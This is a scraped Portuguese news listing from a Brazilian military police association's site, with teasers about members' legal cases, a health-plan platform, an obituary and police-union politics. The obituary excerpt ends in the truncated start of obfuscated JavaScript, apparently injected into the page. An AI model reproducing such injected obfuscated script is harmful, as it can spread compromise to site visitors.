domingo, novembro 24
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Jurídico: Sócio é julgado capaz de permanecer nas fileiras da Polícia Militar

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A assessoria jurídica da ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul) garantiu a permanência de um associado nas fileiras da Polícia Militar após conseguir a procedência de um recurso impetrado junto ao Comando Geral da corporação. Conforme o jurídico, o policial sofria processo administrativo por, em tese, ter deitado de prestar alguns esclarecimentos por ocasião da investigação social. Entretanto, a defesa sustentou a tese de ausência de dolo. A decisão favorável foi publicada nos boletins internos da PM. Durante o processo administrativo, um oficial da Polícia Militar e um agente de Polícia Civil atestaram a exemplar conduta do sócio, “que sempre foi pautada na disciplina e no respeito aos cidadãos deste Estado, fatos estes que m...
Virada tecnológica: Cassems lança plataforma C-conecte para acompanhamento de guias médicas e exames pelos beneficiários

Virada tecnológica: Cassems lança plataforma C-conecte para acompanhamento de guias médicas e exames pelos beneficiários

Destaques, Notícias
À partir do dia 1º de setembro, a Caixa de Assistência dos Servidores do Estado de Mato Grosso do Sul (Cassems) inicia um processo de transição tecnológica, com o recebimento da plataforma C-conecte, de acompanhamento de guias médicas e autorizações de exames pelos beneficiários. Na prática, a ferramenta diminui a necessidade da presença do usuário na Unidade Cassems e agiliza os processos, de modo que ele consiga acompanhar o andamento das suas pendências on-line. A iniciativa faz parte do projeto Integra 360º, de troca do sistema interno da Operadora. De olho no futuro De acordo com a diretora de Assistência à Saúde da Cassems, Maria Auxiliadora Budib, a novidade do C-conecte chega para trazer melhorias para os setores de tecnologia da informação, atendimento integrado e de clientes. “A...

NOTA DE PESAR – 3º SGT PM José Uberail Monteiro

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É com pesar que a ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul) comunica o falecimento do 3º SGT PM Reformado José Uberail Monteiro, 61 anos, associado da Regional de Corumbá. O militar estava internado em Campo Grande e, após complicações, veio à óbito esta manhã. Informações sobre o velório e sepultamento serão informadas em breve. O policial militar deixa um legado de bons serviços prestados à Polícia Militar e à sociedade. A ACS se coloca à disposição da família para o que se fizer necessário. Rogamos a Deus para que conforte familiares e amigos neste momento e dor e tristeza, e receba nosso companheiro em um bom lugar ao seu lado. function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3...
Carta de Vitória cobra veto ao projeto do abuso de autoridade e garantias na Reforma da Previdência

Carta de Vitória cobra veto ao projeto do abuso de autoridade e garantias na Reforma da Previdência

Destaques, Notícias
As principais entidades representativas dos militares estaduais elaboraram, durante o XVIII Fórum Nacional das Entidades Representativas de Policiais Militares e Bombeiros Militares, realizado no Espírito Santo, a Carta de Vitória. No documento, deliberaram uma série de reivindicações da classe que, segundo os participantes do evento, trarão significativas melhorias na qualidade de vida e no aprimoramento das atividades dos militares estaduais. As entidades cobraram, do presidente Jair Bolsonaro, veto total ao projeto que define em quais as situações será configurado o crime de abuso de autoridade. No último dia 14, a Câmara dos Deputados aprovou um regime de urgência para o projeto e, horas depois, realizou uma votação simbólica, em que o eleitor não consegue saber como votou cada parlam...
Após questionamento da ACS, Sejusp garante que acesso de advogados ao Sigo será ‘restrito’

Após questionamento da ACS, Sejusp garante que acesso de advogados ao Sigo será ‘restrito’

Ação ACS, Notícias
A Sejusp (Secretaria de Estado de Justiça e Segurança Pública) garantiu que o acesso dos profissionais da advocacia ao Sigo (Sistema Integrado de Gestão Operacional) será restrito. Em resposta a questionamento feito pela ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul) no último dia 12, o titular da pasta, Antônio Carlos Videira, afirmou que “tão logo seja firmado tal instrumento, uma via será disponibilizada para conhecimento dessa instituição”. “Ao se firmar o referido termo, os estudos seriam em um perfil semelhante àqueles que os profissionais da imprensa possuem, ou seja, com um número restrito de senhas para terminais que ficariam instalados na sede da OAB e suas subseções no interior do Estado”, explicou Videira, em documento e...

Jurídico da ACS garante decisão favorável para sócio em processo de Auxílio Invalidez

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A assessoria jurídica da ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul) conseguiu, nesta terça-feira (20), uma decisão favorável em processo judicial de Auxílio Invalidez. Conforme o advogado responsável pela ação, o associado entrou com pedido administrativo em 2008, quando passou para a reserva remunerada, aduzindo que era portador de doença incapacitante, definitivamente, para qualquer tipo de trabalho, tendo sido negado pela Administração. Não satisfeito, procurou o jurídico da Associação, que propôs ação judicial para ter direito aos 20% sobre seu subsídio. Após a tramitação do processo na Vara de Fazenda Pública, o benefício foi concedido. O juiz responsável pelo processo concedeu, inclusive, o pagamento retroativo desde 2008. ...
Vitória recebe mais uma edição do Fórum Nacional das Entidades Representativas

Vitória recebe mais uma edição do Fórum Nacional das Entidades Representativas

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O presidente da ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul), cabo Mario Sérgio Couto, representará o Estado durante o XVIII Fórum Nacional das Entidades Representativas de Policiais Militares e Bombeiros Militares, que acontece entre os dias 22 e 23 na cidade de Vitória (ES). Realizado pela Anermb (Associação Nacional das Entidades Representativas dos Militares Brasileiros), o evento acontece no auditório do Tribunal de Contas do Espírito Santo com apoio da ACSPMBMES (Associação de Cabos e Soldados da Polícia Militar e Bombeiro Militar do Estado do Espírito Santo). Durante o Fórum, acontecerão seminários, palestras e rodas de debate envolvendo temas de interesse nacional dos servidores militares estaduais, como projetos em trâmite ...
Cabo Couto critica projeto do abuso de autoridade: “estamos algemados”

Cabo Couto critica projeto do abuso de autoridade: “estamos algemados”

Destaques, Notícias
O presidente da ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul), cabo Mario Sérgio Couto, teceu duras críticas ao projeto que define em quais as situações será configurado o crime de abuso de autoridade. Ele participou, na tarde desta segunda-feira (18), de um ato de protesto contra a proposta realizado em frente ao Fórum de Campo Grande. “Realmente, nós, policiais militares, que somos a linha de frente, estamos algemados. Da maneira como está, estamos respondendo sindicância sobre sindicância. Imagina se esse projeto for para frente, o que nós faremos? Quem vai pagar essa conta é a sociedade”, avisou Couto. No último dia 14, a Câmara dos Deputados aprovou um regime de urgência para o projeto e, horas depois, realizou uma votação simbó...

Jurídico da ACS consegue absolvição de sócio denunciado por abandono de posto de serviço

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A assessoria jurídica da ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul) conseguiu, nesta quarta-feira (14), a absolvição de um associado denunciado por abandono de posto de serviço. O fato teria ocorrido na região de Naviraí, em um posto da Receita Estadual. Lotado na cidade, o associado ainda teve apoio irrestrito do diretor Regional, CB PM Rodrigo Nascimento Bonfim, no decorrer da ação. A defesa, em suas alegações, sustentou a tese de que o policial militar, no máximo, teria incorrido em uma infração administrativa, tese esta que levou a Justiça a reconhecer a inexistência do crime. Ele foi absolvido por unanimidade. “Nosso trabalho tem sido árduo na busca pela justiça em defesa dos associados da ACS. A maior recompensa é justament...
STJ reconhece incompetência da Justiça Militar para julgar policiais em crimes fora de serviço

STJ reconhece incompetência da Justiça Militar para julgar policiais em crimes fora de serviço

Destaques, Notícias
O ministro Nefi Cordeiro, do STJ (Superior Tribunal de Justiça), decidiu que o policial militar da ativa, em seu horário de folga e fora do local de serviço, ou seja, fora do local sob os auspícios da Policia Militar, não comete crime militar, e sim crime comum. A decisão foi tomada em julgamento de um Habeas Corpus impetrado pela assessoria jurídica da ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul) em favor de um sócio. “Trata-se de uma decisão inédita quando se trata de competência da Justiça Militar Estadual, uma vez que a defesa sempre insistiu com a tese de que a Justiça Militar Estadual não era competente para processar e julgar policiais militares que teriam cometido crime fora do horário de trabalho e em locais não subordinado...